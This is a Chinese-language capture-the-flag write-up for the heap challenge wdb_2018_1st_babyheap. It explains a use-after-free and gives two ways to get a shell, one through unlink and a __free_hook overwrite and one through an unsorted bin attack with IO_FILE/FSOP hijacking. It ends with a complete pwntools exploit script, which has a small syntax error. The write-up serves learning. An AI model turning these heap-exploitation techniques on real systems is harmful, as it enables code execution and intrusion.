wdb_2018_1st_babyheap

总结

根据本题,学习与收获有:

  • 一般来说,在libc-2.23.so中,能用unlink的题目,基本可以用unsorted bin attack + IO_FILE劫持IO_jump_t结构执行system("/bin/sh")。不用能unlink的题目,但是能溢出修改unsorted bin chunksize并布局unsorted bin chunk内容,都可以用这一招偷鸡。
  • 修改unsorted binsize0x61, 然后从unsorted bin chunk的头部开始,布局如下:[/bin/sh\x00, 0x61 0, _IO_list_all - 0x10, 0, 1, 0xa8 * "\x00", fake_vtable_addr],然后fake_vtable填的内容如下:[0, 0, 0, system_addr]

checksec

image-20210611195849744

运行环境为ubuntu 16.04libc-2.23.so

题目分析

就是很常见的菜单题,有一个堆指针数组在bss段上,不过需要注意的有:

  • allocate最多只能调用10次,但是edit能编辑到索引为0x1fchunk的指针。
  • 每次allocateedit的固定大小为0x20,不能申请其他大小的chunk
  • edit的次数是3次,

漏洞分析

image-20210611200734989

很基础的UAF

利用思路

一般来说,UAF可以用来泄露地址。这里有两种利用思路,分别讲一下;

利用unlink

  • 利用UAF泄露出堆地址

  • 利用fastbin attack,修改到某个chunksize,更改为0x91,然后释放掉

  • 利用show泄露出libc地址

  • 利用unlink修改堆指针数组

  • 修改__free_hooksystem地址

  • 释放带/bin/sh的块

利用unsorted bin attack + IO_FILE:

  • 用同样的方法去泄露地址
    • 布局IO_FILE结构,这里的IO_FILE结构会散落到多处,关键是要找到vtable等重要的内存单元
  • 修改unsorted bin chunksize0x61
  • 调用malloc,触发IO_flush_all_lock_up,刷新所有流,执行system("/bin/sh")

利用流程如图所示:

image-20210611202537901

最终EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
int16 = lambda x : int(x, base=16)
LOG_ADDR = lamda: x, y: log.info("Addr: {} ===> {}".format(x, y))

sh = process("./wdb_2018_1st_babyheap")
cur_elf = sh.elf
libc = sh.elf.libc

context.arch="amd64"

initial_date = flat(0, 0x31, 0, 0x31)

def allocate(idx, data=initial_date):
    if len(data) != 0x20:
        if isinstance(data, str):
            data += "\n"
        else:
            data += b"\n"
    sh.sendlineafter("Choice:", "1")
    sh.sendlineafter("Index:", str(idx))
    sh.sendafter("Content:", data)
    sh.recvline()


def edit(idx, data):
    if len(data) != 0x20:
        if isinstance(data, str):
            data += "\n"
        else:
            data += b"\n"
    sh.sendlineafter("Choice:", "2")
    sh.sendlineafter("Index:", str(idx))
    sh.sendafter("Content:", data)
    sh.recvline()


def show(idx):
    sh.sendlineafter("Choice:", "3")
    sh.sendlineafter("Index:", str(idx))
    msg = sh.recvline()
    info("msg ===> {}".format(msg))
    return msg


def free(idx):
    sh.sendlineafter("Choice:", "4")
    sh.sendlineafter("Index:", str(idx))


def attack_unlink():
    allocate(0)
    allocate(1)
    allocate(2)
    allocate(3)
    allocate(4, "/bin/sh\x00")

    free(1)
    free(0)
    # leak heap addr
    msg = show(0)
    leak_heap_addr = u64(msg[:-1].ljust(8, b"\x00"))
    LOG_ADDR("leak_heap_addr", leak_heap_addr)
    # fast bin attack
    free(1)
    allocate(5, flat(leak_heap_addr - 0x20))
    allocate(6, "a")
    allocate(7, "a")
    target_addr = 0x602090
    allocate(8, flat(target_addr - 0x18, target_addr - 0x10, 0x20, 0x90))

    # edit 0 to set fake size
    edit(0, flat(0, "\x21"))
    # unlink
    free(1)

    # leak libc addr
    msg = show(8)
    leak_libc_addr = u64(msg[:-1].ljust(8, b"\x00"))
    LOG_ADDR("leak_libc_addr", leak_libc_addr)
    libc.address = leak_libc_addr - 0x3c4b20 - 88
    LOG_ADDR("libc_base_addr", libc.address)

    edit(6, p64(libc.sym['__free_hook'])[:-1])
    edit(3, flat(libc.sym['system']))

    free(4)

    sh.interactive()


def attack_fsop():
    allocate(0)
    allocate(1)
    allocate(2)
    allocate(3)
    allocate(4, "/bin/sh\x00")

    free(1)
    free(0)
    # leak heap addr
    msg = show(0)
    leak_heap_addr = u64(msg[:-1].ljust(8, b"\x00"))
    LOG_ADDR("leak_heap_addr", leak_heap_addr)

    edit(0, flat(leak_heap_addr - 0x10))
    allocate(5, "a")
    allocate(6, flat(0, 0x91))
    allocate(7, flat(0, leak_heap_addr - 0x20)) # prepare for vtable

    # leak libc addr
    free(1)

    msg = show(1)
    leak_libc_addr = u64(msg[:-1].ljust(8, b"\x00"))
    LOG_ADDR("leak_libc_addr", leak_libc_addr)
    libc.address = leak_libc_addr - 0x3c4b20 - 88
    LOG_ADDR("libc_base_addr", libc.address)

    # fsop
    edit(6, flat("/bin/sh\x00", 0x61, 0, libc.sym['_IO_list_all'] - 0x10))
    edit(0, flat(0, 0, 0, libc.sym['system']))

    sh.sendlineafter("Choice:", "1")
    sh.sendlineafter("Index:", str(8))

    sh.interactive()

attack_fsop()

远程打:

unlink:

image-20210611203447336

FSOP:

image-20210611202909228

引用与参考

1、My Blog

2、Ctf Wiki

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%